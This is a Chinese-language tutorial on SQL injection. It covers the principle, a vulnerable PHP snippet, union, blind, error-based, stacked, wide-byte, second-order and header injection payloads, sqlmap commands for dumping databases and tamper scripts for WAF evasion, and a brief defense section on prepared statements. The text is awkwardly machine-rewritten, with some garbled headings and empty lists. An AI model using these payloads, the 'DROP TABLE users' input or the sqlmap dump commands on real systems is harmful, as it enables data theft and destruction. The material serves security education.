位居OWASP Top 10中长期首位的安全威胁为SQL注入,此乃每个Web开发者以及安全人员务必深入领会的高危漏洞。攻击者借助构造恶意SQL语句,将其插入到应用程序的查询里,进而欺骗数据库执行非授权操作,这种攻击方式便是SQL注入。
用输入内容构造动态SQL语句并凭其访问数据库之时,那应用程序就会有发生SQL注入攻击的可能性。是代码使用存储过程的话,而且这些存储过程是以包含未筛选用户输入之字符串的方式来传递,那照样会发生SQL注入。就目前统计情况看来,好多影视网站泄露VIP会员密码绝大部分是借由WEB表单递交查询字符而暴露出来的,像这样子的表单极其容易受到SQL注入式攻击。
二、SQL注入原理:信任边界的失守2.1 基本原理
SQL注入之所以存在根源就是出现了基础性错误,这个错误是什么呢,程序把用户输入的数据,错误地当成了代码(也就是SQL指令)去执行。要是应用程序在动态构建SQL查询语句的时候,没有针对用户输入进行严格的过滤或者参数化处理,那么攻击者能够构造特殊的输入,借此改变原始SQL查询的语义。
来看一个经典的代码片段,它是要用PHP来写的,这可是无数SQL注入漏洞的那个“温床”,就是它:
// 获取前端传递的用户ID
$userId = $_GET['id'];
// 未经任何处理,直接拼接到SQL查询语句中
$sql = "SELECT username, email FROM users WHERE id = ' '. $userId;
// 执行查询...
这一段代码,所期望的是,$userId属于数字范畴。然而,要是攻击者传进来的id为。
1' OR '1'='1
那么最终执行的SQL语句就变成了:
SELECT username, email FROM users WHERE id = '1' OR '1'='1'
始终是真的,这致使WHERE子句的条件一直成立,进而查询就会把users表里边的所有数据给返回出来。
2.2 根本原因分析
SQL注入的产生通常表现在以下几方面:
不当的类型处理
不安全的数据库配置
不合理的查询集处理
不当的错误处理
转义字符处理不合适
多个提交处理不当
一句话总结:缺乏对"用户输入不可信"的基本安全意识。
三、根据注入点数据类型进行分类之中的数字型注入,也就是Numeric Injection,它属于SQL注入类型与攻击手法里的一种情况 ,3.1.1所涉及。3.1所涵盖!
当注入点是数字类型时,无需闭合引号。
原始SQL:SELECT * FROM users WHERE id = $id
攻击:id=1 OR 1=1
最终SQL:SELECT * FROM users WHERE id = 1 OR 1=1
探测方法:
3.1.2 字符型注入(String Injection)
当注入点是字符类型时,输入会被单引号或双引号包围。
原始SQL:SELECT * FROM users WHERE username = '$username'
攻击:username=admin' OR '1'='1
最终SQL:SELECT * FROM users WHERE username = 'admin' OR '1'='1'
关键在于闭合引号和注释后续代码。
3.依据信息获取方式来进行分类,存在联合查询注入这种情况,也就是 UNION - based Injection。
最直接的回显注入方式,利用UNION操作符合并查询结果。
步骤1:判断字段数
id=1 ORDER BY 1 → 正常
id=1 ORDER BY 2 → 正常
id=1 ORDER BY 3 → 报错(说明字段数量为2)
步骤2:确定回显位置
id=-1 UNION SELECT 1,2
步骤3:获取数据
id=-1 UNION SELECT database(), version()
id=-1 UNION SELECT table_name, 2 FROM information_schema.tables
3.数字二点二,布尔类型的,基于盲注的盲目注入,(Boolean-based Blind Injection)
处于被关闭错误回显状态下的服务器,仅能借助页面所呈现的布尔状态的不同之处,进而展开对于信息的推测判断。
猜解数据库名长度:
id=1' AND length(database()) = 8 --+
逐字猜解:
id=1' AND ascii(substring(database(), 1, 1)) > 100 --+
攻击者通过不断提问"是/非"问题,根据页面反应获取答案。
3.2.3,时间依据的盲目注入,也就是时间盲注(Time-based Blind Injection)。
查询时,无论真假,页面都会返回相同内容,此时,依据响应时间来判断信息。
判断数据库名长度:
id=1' AND IF(length(database())=8, sleep(5), 0) --+
逐字猜解:
id=1' AND IF(ascii(substring(database(),1,1))=115, sleep(5), 0) --+
这是盲注的终极手段,利用时间延迟函数作为判断依据。

3.两点四,报错注入,也就是基于错误的注入。
利用数据库报错信息获取数据。
MySQL报错注入示例:
id=1' AND updatexml(1, concat(0x5e, (select database()), 0x5e), 1) --+
id=1' AND extractvalue(1, concat(0x5e, (select version()), 0x5e)) --+
3.3,进阶的注入技术,3.3.1,堆叠查询的注入,也就是Stacked Injection。
使用分号执行多条SQL语句,危险性极高。
id=1; DROP TABLE users; --+
需要注意的是,并非所有数据库和应用程序都支持堆叠查询。
3.3.2 宽字节注入
利用数据库的GBK等宽字节编码特性,绕过转义机制。
原理:输入%df%27,转义后变为%df%5c%27,其中%df%5c构成一个汉字(运的繁体字)
3.3.3,二次注入,也就是Second Order Injection。
注入语句,在首次往数据库当中写入之际,是不会被触发的,然而在后续运用该数据的时候,就会触发。
注册用户名:admin'#
后续查询:SELECT * FROM users WHERE username='admin'#'
3.3.4 HTTP头部注入
在称之为Cookie的HTTP头部字段里,在被叫做User -Agent的HTTP头部字段当中,于名为X -Forwarded -For的HTTP头部字段内存进行那些能被称作注入的操作。
User-Agent: ' OR 1=1 --+
四、可自动化进行注入操作的工具,其中包括sqlmap,以及tamper脚本,4.1则是sqlmap,它属于那种能够自动开展SQL注入的工具。
存在一款名为sqlmap的工具 ,它是当下最为强大的 ,属于开源性质的sql注入自动化检测工具 ,它具备支持多种数据库的能力 ,同时也支持多种注入技术。
基本用法:
# 检测注入点
sqlmap -u "http://example.com/page.php?id=1"
# 获取所有数据库
sqlmap -u "http://example.com/page.php?id=1" --dbs
# 获取指定数据库的表
sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables
# 获取表中数据
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump
POST注入检测:
# 使用Burp Suite抓包,保存为post.txt
sqlmap -r post.txt
4.2 tamper脚本:绕过安全防护
tamper脚本,是sqlmap的过滤器,它是用来对payload做修改的,其目的在于绕过WAF,也就是Web应用防火墙,以及其他安全机制。
常用tamper脚本:
使用示例:
sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment,equaltolike
自定义tamper脚本开发:
开发者能够依据目标防护的特点,去编写自定义的 tamper 脚本,以此来达成特定的编码逻辑,还有替换逻辑,以及混淆逻辑。
五、用于SQL注入防御的策略5.1,是预编译语句,也就是Prepared Statements。
这是最有效的防御手段,彻底分离代码与数据。
// Java示例
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
事先被处理的语句,会首先对SQL进行编译,之后再去绑定参数,用户所进行的输入,不会对SQL的结构产生影响。
5.2 输入验证与过滤5.3 最小权限原则
为应用程序数据库连接分配最低必要权限:
5.4 其他防御措施六、总结
虽SQL注入身为OWASP Top 10里的首要威胁,但其危害程度不可轻视,从并不复杂的回显注入直至颇为复杂的盲注,从依靠手工进行检测到应用自动化工具来实施利用,攻击的手法变得越发多样,身为防御一方,我们务必从根本之处消弭漏洞,而不是单单依靠表层的防护。
黄金防御法则:
所有数据库操作必须使用预处理语句
所有用户输入必须经过严格验证